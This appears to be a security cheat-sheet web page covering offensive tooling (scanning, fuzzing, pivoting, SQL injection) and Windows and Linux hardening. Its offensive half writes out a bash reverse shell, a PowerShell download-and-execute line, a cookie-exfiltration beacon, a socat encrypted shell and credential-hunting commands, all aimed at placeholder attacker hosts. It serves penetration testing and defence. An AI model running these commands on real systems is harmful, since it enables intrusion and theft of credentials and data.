Skip to Content
CheatsheetsSecurity

Security Cheat Sheet

Security engineering reference - not purely blue-team. Split into Offensive (recon, enumeration, exploitation tooling) and Defensive (hardening, monitoring, incident response).

Scope: Useful for pentesters, platform engineers doing defensive work, and CTF. Assumes Linux/Kali tooling for offensive sections, Linux/Windows for defensive.

Versions: nmap 7.x+, ffuf 2.x+, sqlmap 1.8+, socat 1.7.x+, PowerShell 7+ for defensive sections, Windows Server 2019/2022 for hardening content.


Offensive Security


nmap

Host discovery - find live hosts on a subnet

Bash
nmap -sn 192.168.1.0/24

Quick service scan - top ports, versions, default scripts

Bash
nmap -sV -sC -T4 -oA scan_output <target>

Full TCP port scan

Bash
nmap -p- -T4 --min-rate 5000 <target>

OS detection

Bash
nmap -O --osscan-guess <target>

UDP - top 1000 ports (slow, run with patience)

Bash
nmap -sU --top-ports 1000 -T4 <target>

Stealth SYN scan (requires root)

Bash
sudo nmap -sS -T4 <target>

Run vulnerability scripts

Bash
nmap --script vuln -p 80,443,22 <target>
Bash
nmap -sV --version-intensity 9 -p <port> <target>

Save in all formats (normal, grepable, XML)

Bash
nmap -sV -sC -p- -oA full_scan <target>

Scan from a list of hosts

Bash
nmap -iL hosts.txt -sV -sC

Netcat (nc)

Start a listener

Bash
nc -lvnp 4444

Connect to a remote host and port

Bash
nc <target> 4444

Port scan (TCP, no I/O, verbose)

Bash
nc -zv <target> 1-1024
Bash
echo '' | nc -v -n -w1 <target> 80

Receive a file

Bash
nc -lvnp 4444 > received_file

Send a file

Bash
nc <target> 4444 < file_to_send

UDP listener

Bash
nc -u -lvnp 4444

Reverse shell - Bash (run on victim, catch on attacker)

Bash
bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1

Reverse shell - catch on attacker

Bash
nc -lvnp 4444

Quick web request

Bash
printf 'GET / HTTP/1.0\r\nHost: <target>\r\n\r\n' | nc <target> 80

curl - HTTP Probing

Fetch response headers only

Bash
curl -sI https://<target>

Full verbose request (headers in and out)

Bash
curl -v https://<target>

Follow redirects

Bash
curl -L https://<target>

POST with form data

Bash
curl -X POST -d 'username=admin&password=admin' https://<target>/login

POST JSON body

Bash
curl -X POST -H 'Content-Type: application/json' \
     -d '{"user":"admin","pass":"admin"}' https://<target>/api/login

Custom headers (auth token, custom User-Agent)

Bash
curl -H 'Authorization: Bearer <token>' \
     -H 'User-Agent: Mozilla/5.0' https://<target>/api/data

Skip TLS certificate verification

Bash
curl -k https://<target>

Download file silently

Bash
curl -so output.html https://<target>

Proxy through Burp Suite

Bash
curl -x http://127.0.0.1:8080 -k https://<target>

Check CORS - preflight

Bash
curl -I -X OPTIONS -H 'Origin: https://evil.com' \
     -H 'Access-Control-Request-Method: GET' https://<target>/api

openssl - Certificate & Crypto

Inspect a server’s TLS certificate

Bash
echo | openssl s_client -connect <target>:443 2>/dev/null \
  | openssl x509 -noout -text

Show cert expiry only

Bash
echo | openssl s_client -connect <target>:443 2>/dev/null \
  | openssl x509 -noout -dates

Show Subject Alternative Names

Bash
echo | openssl s_client -connect <target>:443 2>/dev/null \
  | openssl x509 -noout -ext subjectAltName

Generate a self-signed cert (e.g. for a listener)

Bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  -keyout server.key -out server.crt \
  -subj "/CN=localhost"

Hash a file

Bash
openssl dgst -sha256 <file>

Base64 encode / decode

Bash
echo -n 'text' | openssl base64
echo 'dGV4dA==' | openssl base64 -d

Generate random hex (useful for tokens)

Bash
openssl rand -hex 32

PowerShell - Recon & Post-Exploitation

Bypass execution policy for a session

PowerShell
powershell -ExecutionPolicy Bypass -NoProfile

Download and run a remote script

PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://<attacker>/script.ps1')

Download file to disk

PowerShell
(New-Object Net.WebClient).DownloadFile('http://<attacker>/file', 'C:\Temp\file')

Encode a command (bypass logging/detection)

PowerShell
$cmd = 'whoami'
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -EncodedCommand $enc

List established TCP connections

PowerShell
Get-NetTCPConnection | Where-Object { $_.State -eq 'Established' } |
  Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort

TCP port scan (no tools needed)

PowerShell
1..1024 | ForEach-Object {
    $tcp = New-Object Net.Sockets.TcpClient
    try { $tcp.Connect('<target>', $_); "Port $_ OPEN" } catch {} finally { $tcp.Dispose() }
}

List local administrators

PowerShell
Get-LocalGroupMember -Group 'Administrators'

List running processes sorted by CPU

PowerShell
Get-Process | Sort-Object CPU -Descending | Select-Object Name, Id, CPU -First 20

Get scheduled tasks (look for odd ones)

PowerShell
Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } |
  Select-Object TaskName, TaskPath, State

Current user privileges

PowerShell
whoami /priv

Dump environment variables

PowerShell
[System.Environment]::GetEnvironmentVariables().GetEnumerator() | Sort-Object Name

Search for passwords in files (recursive)

PowerShell
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue -Include *.txt,*.xml,*.config |
  Select-String -Pattern 'password|passwd|pwd' -CaseSensitive:$false

Check if AMSI is patched (returns True if bypassed)

PowerShell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
  ForEach-Object { $_.GetField('amsiInitFailed','NonPublic,Static').GetValue($null) }

Get domain info (domain-joined machines)

PowerShell
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

List SMB shares on a remote host

PowerShell
Get-SmbShare -CimSession <target>

Check Windows Defender status

PowerShell
Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntivirusEnabled

JavaScript Console - Browser Recon

Read all cookies (document-accessible)

JavaScript
document.cookie

Dump localStorage

JavaScript
JSON.stringify(localStorage, null, 2)

Dump sessionStorage

JavaScript
JSON.stringify(sessionStorage, null, 2)

Decode a JWT from storage (header + payload)

JavaScript
const token = localStorage.getItem('token') || sessionStorage.getItem('token');
if (token) {
  const [h, p] = token.split('.').slice(0,2).map(b => {
    const s = b.replace(/-/g,'+').replace(/_/g,'/');
    return JSON.parse(atob(s + '=='.slice(0, (4 - s.length % 4) % 4)));
  });
  console.log('Header:', h, '\nPayload:', p);
}

List all external scripts loaded on the page

JavaScript
Array.from(document.scripts).map(s => s.src).filter(Boolean)
JavaScript
Array.from(document.links).map(l => l.href)

List all forms and their inputs

JavaScript
Array.from(document.forms).map(f => ({
  action: f.action,
  method: f.method,
  inputs: Array.from(f.elements).map(e => ({ name: e.name, type: e.type, value: e.value }))
}))

Get all hidden input values

JavaScript
Array.from(document.querySelectorAll('input[type=hidden]'))
  .map(i => ({ name: i.name, value: i.value }))

Check response headers (CSP, CORS, etc.)

JavaScript
fetch(location.href).then(r => {
  ['content-security-policy','x-frame-options','strict-transport-security',
   'x-content-type-options','access-control-allow-origin'].forEach(h =>
    console.log(h + ':', r.headers.get(h))
  );
});

Exfiltrate cookies via image beacon (PoC only)

JavaScript
new Image().src = 'https://<attacker>/?c=' + encodeURIComponent(document.cookie);

Enumerate all API calls made by the page (intercept fetch)

JavaScript
const origFetch = window.fetch;
window.fetch = function(...args) {
  console.log('[fetch]', args[0], args[1]);
  return origFetch.apply(this, args);
};

Intercept XHR calls

JavaScript
const origOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url) {
  console.log('[XHR]', method, url);
  return origOpen.apply(this, arguments);
};

DOM XSS quick probe (harmless alert)

JavaScript
document.getElementById('search').value = '<img src=x onerror=alert(document.domain)>';
document.querySelector('form').submit();

List all event listeners on the document (Chrome DevTools)

JavaScript
getEventListeners(document)

Miscellaneous One-Liners

Python quick HTTP server (serve current directory)

Bash
python3 -m http.server 8080

Python HTTPS server with a self-signed cert

Bash
openssl req -x509 -nodes -days 1 -newkey rsa:2048 -keyout /tmp/k.pem -out /tmp/c.pem -subj '/CN=x' 2>/dev/null
python3 -c "
import ssl, http.server
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('/tmp/c.pem', '/tmp/k.pem')
srv = http.server.HTTPServer(('0.0.0.0', 443), http.server.SimpleHTTPRequestHandler)
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
srv.serve_forever()
"

Find SUID binaries (Linux privilege escalation check)

Bash
find / -perm -4000 -type f 2>/dev/null

Find world-writable directories

Bash
find / -type d -perm -o+w 2>/dev/null | grep -v '/proc\|/sys'

Check cron jobs for all users

Bash
for user in $(cut -d: -f1 /etc/passwd); do
  crontab -u "$user" -l 2>/dev/null | grep -v '^#' | sed "s/^/$user: /"
done

Identify listening services

Bash
ss -tlnp

Quick hash cracking reference (hashcat modes)

Bash
hashcat -m 0    hash.txt wordlist.txt   # MD5
hashcat -m 100  hash.txt wordlist.txt   # SHA1
hashcat -m 1000 hash.txt wordlist.txt   # NTLM
hashcat -m 1800 hash.txt wordlist.txt   # sha512crypt ($6$)
hashcat -m 3200 hash.txt wordlist.txt   # bcrypt
hashcat -m 13100 hash.txt wordlist.txt  # Kerberoast (TGS-REP)

Identify a hash type quickly

Bash
hashid '<hash>'

Git - Secret Hunting

Search the entire commit history for keywords

Bash
git log -p --all --full-history | grep -iE 'password|secret|api.?key|token|private.?key|credentials'

Find commits that touched a specific filename (including deleted)

Bash
git log --all --full-history -- '**/.env' '**/*.pem' '**/*.key'

Show the content of a deleted file from history

Bash
git show <commit_hash>:.env

List all stashes (often forgotten secrets)

Bash
git stash list
git stash show -p stash@{0}

Dump every blob ever committed (slow but thorough)

Bash
git log --all --oneline | awk '{print $1}' | \
  xargs -I{} git diff-tree --no-commit-id -r {} | \
  awk '{print $4}' | sort -u | \
  xargs -I{} git cat-file -p {}

Scan with Gitleaks (install: brew install gitleaks / apt install gitleaks)

Bash
gitleaks detect --source . --verbose --report-path gitleaks-report.json

Scan a remote repo

Bash
# Clone first - gitleaks --source expects a local path, not a URL
git clone --depth=50 https://github.com/org/repo /tmp/repo
gitleaks detect --source /tmp/repo --verbose --report-path gitleaks-report.json

Scan with Trufflehog (finds verified live secrets)

Bash
trufflehog git file://. --only-verified
trufflehog github --repo https://github.com/org/repo --only-verified

Check git config for credentials stored in plain text

Bash
cat ~/.gitconfig
git config --list --show-origin | grep -i 'url\|credential\|token'

See also: Git - .gitignore Reference for preventing secrets reaching the repo in the first place, and Git - History & Inspection for git log -S and git bisect to trace when a secret was introduced.


grep / ripgrep - Secret & Pattern Hunting

Search recursively for common secret patterns

Bash
grep -rn \
  --include="*.js" --include="*.ts" --include="*.py" --include="*.go" \
  --include="*.rb" --include="*.php" --include="*.env" --include="*.yaml" \
  --include="*.yml" --include="*.json" --include="*.toml" --include="*.tf" \
  --include="*.sh" \
  -iE 'password\s*=|api.?key\s*=|secret\s*=|token\s*=' .

Hunt for private keys

Bash
grep -rn "BEGIN.*PRIVATE KEY" .

Find AWS access key IDs

Bash
grep -rn -E 'AKIA[0-9A-Z]{16}' .

Find JWTs (ey… header pattern)

Bash
grep -rn -E 'eyJ[a-zA-Z0-9_-]{10,}\.eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]+' .

Find credentials embedded in URLs

Bash
grep -rn -E 'https?://[^:/@\s]+:[^@/\s]+@' .

Find IP addresses in files

Bash
grep -rn -E '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' .

Find base64-encoded strings (likely encoded secrets)

Bash
grep -rn -E '[A-Za-z0-9+/]{40,}={0,2}' . | grep -v '.min.js'

Same searches with ripgrep (faster on large repos)

Bash
rg -i 'password\s*=' --type-add 'config:*.{env,yaml,yml,toml,ini}' -t config .
rg 'AKIA[0-9A-Z]{16}' .
rg 'BEGIN.*PRIVATE KEY' .

Useful regex patterns for piping / scripting

Bash
# IPv4 address
\b(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\b
 
# AWS Access Key
AKIA[0-9A-Z]{16}
 
# JWT
eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+
 
# PEM private key header
-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----
 
# Basic auth credential in URL
https?://[^:/@\s]+:[^@/\s]+@[^\s]+
 
# Generic high-entropy string (likely a secret, ≥32 chars)
[A-Za-z0-9+/=_-]{32,}

ffuf - Web Fuzzing

Directory/path brute-force

Bash
ffuf -u https://<target>/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -mc 200,301,302,403 -t 50

Subdomain enumeration via Host header

Bash
ffuf -u https://<target> \
     -H 'Host: FUZZ.<target>' \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -mc 200,301,302 -fs <size_of_404_response>

POST parameter fuzzing (login brute-force)

Bash
ffuf -u https://<target>/login \
     -X POST \
     -d 'username=admin&password=FUZZ' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
     -mc 302 -t 20

API endpoint fuzzing

Bash
ffuf -u https://<target>/api/v1/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
     -H 'Authorization: Bearer <token>' \
     -mc 200,201,400,401,403

Extension fuzzing (find backup files etc.)

Bash
ffuf -u https://<target>/indexFUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt \
     -mc 200

Filter by response size (hide noise)

Bash
ffuf -u https://<target>/FUZZ -w wordlist.txt -fs 1234

SSH - Tunnelling & Pivoting

Local port forward - reach an internal service via a bastion

Bash
# Access internal:3306 as localhost:3306 via bastion
ssh -L 3306:internal-db:3306 user@bastion -N

Remote port forward - expose your local listener through a server

Bash
# Anyone connecting to attacker:4444 lands on your local :4444
ssh -R 4444:localhost:4444 user@<attacker> -N

Dynamic SOCKS5 proxy - proxy all traffic through a host

Bash
ssh -D 1080 user@bastion -N
# Then: proxychains nmap / curl --socks5 127.0.0.1:1080

Jump host - reach a host that’s only accessible from the bastion

Bash
ssh -J user@bastion user@internal-host

Multi-hop jump

Bash
ssh -J user@jump1,user@jump2 user@final-host

SSH config shortcut for a jump chain (~/.ssh/config)

PLAINTEXT
Host internal
  HostName 10.10.10.50
  User ubuntu
  ProxyJump bastion

Host bastion
  HostName <public_ip>
  User ubuntu
  IdentityFile ~/.ssh/id_rsa

Copy SSH key to remote host

Bash
ssh-copy-id -i ~/.ssh/id_rsa.pub user@<target>

Run a command remotely without a shell

Bash
ssh user@<target> 'cat /etc/passwd'

socat - Encrypted Shells & Relays

Simple listener (like nc -lvnp)

Bash
socat TCP-LISTEN:4444,reuseaddr,fork -

TLS-encrypted reverse shell - attacker listener 🔐 Requires explicit authorisation

Bash
# Generate cert first
openssl req -x509 -nodes -days 1 -newkey rsa:2048 \
  -keyout /tmp/shell.key -out /tmp/shell.crt -subj '/CN=x'
 
socat OPENSSL-LISTEN:443,cert=/tmp/shell.crt,key=/tmp/shell.key,verify=0,fork \
  EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

TLS-encrypted reverse shell - victim side

Bash
socat OPENSSL:<attacker>:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Port relay - forward all traffic arriving on :8080 to an internal host

Bash
socat TCP-LISTEN:8080,fork TCP:<internal>:80

Upload a file over TCP

Bash
# Receiver
socat TCP-LISTEN:9000,fork > received_file
 
# Sender
socat TCP:<target>:9000 < file_to_send

SQLMap - Injection Testing

Basic GET parameter test

Bash
sqlmap -u "https://<target>/page?id=1" --dbs --batch

POST body injection

Bash
sqlmap -u "https://<target>/login" \
       --data "username=test&password=test" \
       --dbs --batch
Bash
sqlmap -u "https://<target>/dashboard" \
       --cookie "session=<value>" \
       --level 3 --risk 2 --dbs --batch

Dump a specific table

Bash
sqlmap -u "https://<target>/page?id=1" \
       -D <database> -T users --dump --batch

Test via Burp Suite saved request file

Bash
sqlmap -r request.txt --level 5 --risk 3 --dbs --batch

Attempt OS shell (if DB user has FILE privilege)

Bash
sqlmap -u "https://<target>/page?id=1" --os-shell --batch

Defensive Security


Windows Hardening

Disable SMBv1 ✅ (common ransomware vector - should be off on all modern Windows)

PowerShell
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
Set-SmbClientConfiguration -EnableSMB1Protocol $false -Force
# Verify
Get-SmbServerConfiguration | Select-Object EnableSMB1Protocol

Disable SMBv1 via Windows Features

PowerShell
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol -NoRestart

Enable and configure Windows Firewall on all profiles

PowerShell
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
# Block inbound by default, allow outbound
Set-NetFirewallProfile -Profile Domain,Public,Private `
  -DefaultInboundAction Block -DefaultOutboundAction Allow

Block inbound RDP from the internet (allow only from trusted range)

PowerShell
New-NetFirewallRule -DisplayName 'Block RDP Public' `
  -Direction Inbound -Protocol TCP -LocalPort 3389 `
  -RemoteAddress Internet -Action Block
New-NetFirewallRule -DisplayName 'Allow RDP Internal' `
  -Direction Inbound -Protocol TCP -LocalPort 3389 `
  -RemoteAddress 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 -Action Allow

Enable Windows Defender real-time protection

PowerShell
Set-MpPreference -DisableRealtimeMonitoring $false
Set-MpPreference -DisableBehaviorMonitoring $false
Set-MpPreference -DisableBlockAtFirstSeen $false
Set-MpPreference -DisableIOAVProtection $false
Set-MpPreference -DisableScriptScanning $false
Set-MpPreference -EnableNetworkProtection Enabled

Force Defender signature update

PowerShell
Update-MpSignature

Enable attack surface reduction (ASR) rules

PowerShell
# Block Office apps from creating child processes
Add-MpPreference -AttackSurfaceReductionRules_Ids d4f940ab-401b-4efc-aadc-ad5f3c50688a `
  -AttackSurfaceReductionRules_Actions Enabled
# Block credential stealing from LSASS
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b0 `
  -AttackSurfaceReductionRules_Actions Enabled
# Block untrusted/unsigned processes from USB
Add-MpPreference -AttackSurfaceReductionRules_Ids b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 `
  -AttackSurfaceReductionRules_Actions Enabled

Enable PowerShell script block logging

PowerShell
$regPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name 'EnableScriptBlockLogging' -Value 1

Enable PowerShell module logging

PowerShell
$regPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name 'EnableModuleLogging' -Value 1
New-Item -Path "$regPath\ModuleNames" -Force | Out-Null
Set-ItemProperty -Path "$regPath\ModuleNames" -Name '*' -Value '*'

Enable PowerShell transcription logging

PowerShell
$regPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription'
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name 'EnableTranscripting' -Value 1
Set-ItemProperty -Path $regPath -Name 'OutputDirectory' -Value 'C:\PSTranscripts'
Set-ItemProperty -Path $regPath -Name 'EnableInvocationHeader' -Value 1

Enable audit policies (logon, process, privilege use)

PowerShell
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Logoff" /success:enable
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
# Review current policy
auditpol /get /category:*

Enable Credential Guard ✅ Current preferred LSASS protection (as of 2026, requires UEFI + Secure Boot)

PowerShell
# Enable via registry (reboot required)
$regPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard'
Set-ItemProperty -Path $regPath -Name 'EnableVirtualizationBasedSecurity' -Value 1
Set-ItemProperty -Path $regPath -Name 'RequirePlatformSecurityFeatures' -Value 3
$cgPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
Set-ItemProperty -Path $cgPath -Name 'LsaCfgFlags' -Value 1

Disable LLMNR and NetBIOS (common credential capture vectors)

PowerShell
# Disable LLMNR
$llmnrPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient'
New-Item -Path $llmnrPath -Force | Out-Null
Set-ItemProperty -Path $llmnrPath -Name 'EnableMulticast' -Value 0
 
# Disable NetBIOS over TCP/IP on all adapters
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.TcpipNetbiosOptions -ne $null }
$adapters | ForEach-Object { $_.SetTcpipNetbios(2) }

Disable WDigest authentication 🔐 Must-do - prevents cleartext credentials in LSASS memory

PowerShell
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' `
  -Name 'UseLogonCredential' -Value 0

Enable BitLocker on the OS drive

PowerShell
Enable-BitLocker -MountPoint 'C:' -EncryptionMethod XtsAes256 `
  -UsedSpaceOnly -TpmProtector
Add-BitLockerKeyProtector -MountPoint 'C:' -RecoveryPasswordProtector
# Save recovery key
(Get-BitLockerVolume -MountPoint 'C:').KeyProtector |
  Where-Object { $_.KeyProtectorType -eq 'RecoveryPassword' } |
  Select-Object RecoveryPassword | Out-File C:\BitLockerRecovery.txt

Enforce account lockout policy

PowerShell
net accounts /lockoutthreshold:5 /lockoutduration:30 /lockoutwindow:30
net accounts /minpwlen:14 /maxpwage:90 /uniquepw:10

List and disable unnecessary local services

PowerShell
# View all running services
Get-Service | Where-Object { $_.Status -eq 'Running' } | Select-Object Name, DisplayName
 
# Disable a service (example: Print Spooler on non-print servers)
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled

Remove unused local user accounts

PowerShell
# List all local accounts
Get-LocalUser | Select-Object Name, Enabled, LastLogon
 
# Disable an account
Disable-LocalUser -Name 'OldAccount'
 
# Remove an account
Remove-LocalUser -Name 'OldAccount'

Check for missing Windows updates

PowerShell
Install-Module PSWindowsUpdate -Force -Scope CurrentUser
Get-WindowsUpdate
# Install all missing updates
Install-WindowsUpdate -AcceptAll -AutoReboot

Show recently installed updates

PowerShell
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20

Enable UAC at the highest level

PowerShell
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' `
  -Name 'ConsentPromptBehaviorAdmin' -Value 2    # Prompt for credentials
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' `
  -Name 'EnableLUA' -Value 1
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' `
  -Name 'PromptOnSecureDesktop' -Value 1

Baseline AppLocker policy (allow signed, block unsigned in user dirs)

PowerShell
# Export current policy
Get-AppLockerPolicy -Effective | Set-AppLockerPolicy -XMLPolicy C:\applocker_backup.xml
 
# Create default rules (run as admin)
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -Path C:\Windows\System32\cmd.exe -User Everyone

See also: Windows for firewall rules and environment hardening. PowerShell for advanced defensive automation and log collection.


Linux Hardening

SSH daemon hardening 🔐 (/etc/ssh/sshd_config)

Bash
# Apply these settings then reload: systemctl reload sshd
cat >> /etc/ssh/sshd_config << 'EOF'
PermitRootLogin no
PasswordAuthentication no
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding no
AllowAgentForwarding no
AllowTcpForwarding no
PrintMotd no
MaxAuthTries 3
LoginGraceTime 30
ClientAliveInterval 300
ClientAliveCountMax 2
PermitEmptyPasswords no
Protocol 2
EOF
systemctl reload sshd

Restrict SSH to specific users/groups

Bash
echo 'AllowGroups sshusers' >> /etc/ssh/sshd_config
groupadd sshusers
usermod -aG sshusers <username>
systemctl reload sshd

Configure UFW (Uncomplicated Firewall)

Bash
apt install ufw -y
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp        # SSH - tighten to a specific source if possible
ufw allow 443/tcp       # HTTPS
ufw enable
ufw status verbose

Configure nftables (modern iptables replacement)

Bash
# Basic stateful ruleset
nft add table inet filter
nft add chain inet filter input '{ type filter hook input priority 0; policy drop; }'
nft add chain inet filter forward '{ type filter hook forward priority 0; policy drop; }'
nft add chain inet filter output '{ type filter hook output priority 0; policy accept; }'
 
nft add rule inet filter input ct state established,related accept
nft add rule inet filter input iif lo accept
nft add rule inet filter input tcp dport 22 accept
nft add rule inet filter input tcp dport 443 accept
 
# Save and persist
nft list ruleset > /etc/nftables.conf
systemctl enable nftables

Kernel hardening via sysctl

Bash
cat >> /etc/sysctl.d/99-hardening.conf << 'EOF'
# Disable IP forwarding (enable only on routers)
net.ipv4.ip_forward = 0
net.ipv6.conf.all.forwarding = 0
 
# Disable ICMP redirects
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
 
# Enable reverse path filtering (anti-spoofing)
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
 
# Ignore ICMP broadcast requests
net.ipv4.icmp_echo_ignore_broadcasts = 1
 
# Disable source packet routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
 
# Enable SYN flood protection
net.ipv4.tcp_syncookies = 1
 
# Disable IPv6 if not needed
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
 
# Restrict dmesg to root
kernel.dmesg_restrict = 1
 
# Hide kernel pointers
kernel.kptr_restrict = 2
 
# Restrict ptrace to root
kernel.yama.ptrace_scope = 1
 
# Disable core dumps for SUID programs
fs.suid_dumpable = 0
 
# Randomise memory layout (ASLR)
kernel.randomize_va_space = 2
EOF
sysctl --system

Set secure file permissions on critical files

Bash
chmod 600 /etc/ssh/sshd_config
chmod 644 /etc/passwd
chmod 640 /etc/shadow
chmod 640 /etc/gshadow
chmod 644 /etc/group
chmod 700 /root
chmod 600 /etc/crontab
chmod 700 /etc/cron.d /etc/cron.daily /etc/cron.weekly /etc/cron.monthly

Disable unused filesystems and protocols

Bash
cat >> /etc/modprobe.d/disable-unused.conf << 'EOF'
install cramfs /bin/true
install freevxfs /bin/true
install jffs2 /bin/true
install hfs /bin/true
install hfsplus /bin/true
install squashfs /bin/true
install udf /bin/true
install dccp /bin/true
install sctp /bin/true
install rds /bin/true
install tipc /bin/true
EOF

Enable and configure auditd

Bash
apt install auditd audispd-plugins -y
 
# Key audit rules
cat >> /etc/audit/rules.d/hardening.rules << 'EOF'
# Watch passwd/shadow changes
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/sudoers -p wa -k sudoers
 
# Watch SSH config
-w /etc/ssh/sshd_config -p wa -k sshd
 
# Log all privileged command execution
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_commands
-a always,exit -F arch=b32 -S execve -F euid=0 -k root_commands
 
# Log failed access attempts
-a always,exit -F arch=b64 -S open -F exit=-EACCES -k access_denied
-a always,exit -F arch=b64 -S open -F exit=-EPERM -k access_denied
 
# Watch /tmp and /dev/shm for executed files
-w /tmp -p x -k tmp_exec
-w /dev/shm -p x -k shm_exec
 
# Log sudo usage
-w /usr/bin/sudo -p x -k sudo_usage
-w /etc/sudoers.d -p wa -k sudoers
EOF
 
augenrules --load
systemctl enable auditd
systemctl start auditd

Query auditd logs

Bash
# Failed logins
ausearch -m USER_FAILED_LOGIN -ts today
# All privileged commands
ausearch -k root_commands -ts today | aureport -f -i
# Changes to sudoers
ausearch -k sudoers -ts today

Install and configure fail2ban ✅ Current preferred brute-force mitigation (as of 2026)

Bash
apt install fail2ban -y
cat > /etc/fail2ban/jail.local << 'EOF'
[DEFAULT]
bantime  = 1h
findtime = 10m
maxretry = 5
banaction = nftables-multiport
 
[sshd]
enabled = true
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
bantime = 24h
EOF
systemctl enable fail2ban
systemctl start fail2ban
# Check ban status
fail2ban-client status sshd

Configure AppArmor (Debian/Ubuntu)

Bash
apt install apparmor apparmor-utils apparmor-profiles -y
systemctl enable apparmor
systemctl start apparmor
# Check status
aa-status
# Put a profile into enforce mode
aa-enforce /etc/apparmor.d/usr.sbin.nginx
# Audit mode (log violations without blocking)
aa-audit /etc/apparmor.d/usr.bin.python3

Configure SELinux (RHEL/CentOS/Fedora)

Bash
# Check current status
sestatus
getenforce
 
# Enable enforcing mode
setenforce 1
sed -i 's/^SELINUX=.*/SELINUX=enforcing/' /etc/selinux/config
 
# List AVC denials
ausearch -m avc -ts recent
# Generate a policy module from denials
audit2allow -a -M mypolicy
semodule -i mypolicy.pp
 
# Restore default context on a file
restorecon -Rv /var/www/html

Lock down sudo - require password and disable NOPASSWD

Bash
# Edit sudoers safely
visudo
# Ensure no NOPASSWD lines remain
grep -r 'NOPASSWD' /etc/sudoers /etc/sudoers.d/
 
# Require re-authentication every session
echo 'Defaults timestamp_timeout=0' >> /etc/sudoers.d/00-security
# Log all sudo commands
echo 'Defaults logfile=/var/log/sudo.log' >> /etc/sudoers.d/00-security

Enable automatic security updates (Debian/Ubuntu)

Bash
apt install unattended-upgrades -y
dpkg-reconfigure --priority=low unattended-upgrades
 
# Verify configuration
cat /etc/apt/apt.conf.d/20auto-upgrades
# Should contain:
# APT::Periodic::Update-Package-Lists "1";
# APT::Periodic::Unattended-Upgrade "1";

Enable automatic security updates (RHEL/CentOS)

Bash
dnf install dnf-automatic -y
sed -i 's/^apply_updates = .*/apply_updates = yes/' /etc/dnf/automatic.conf
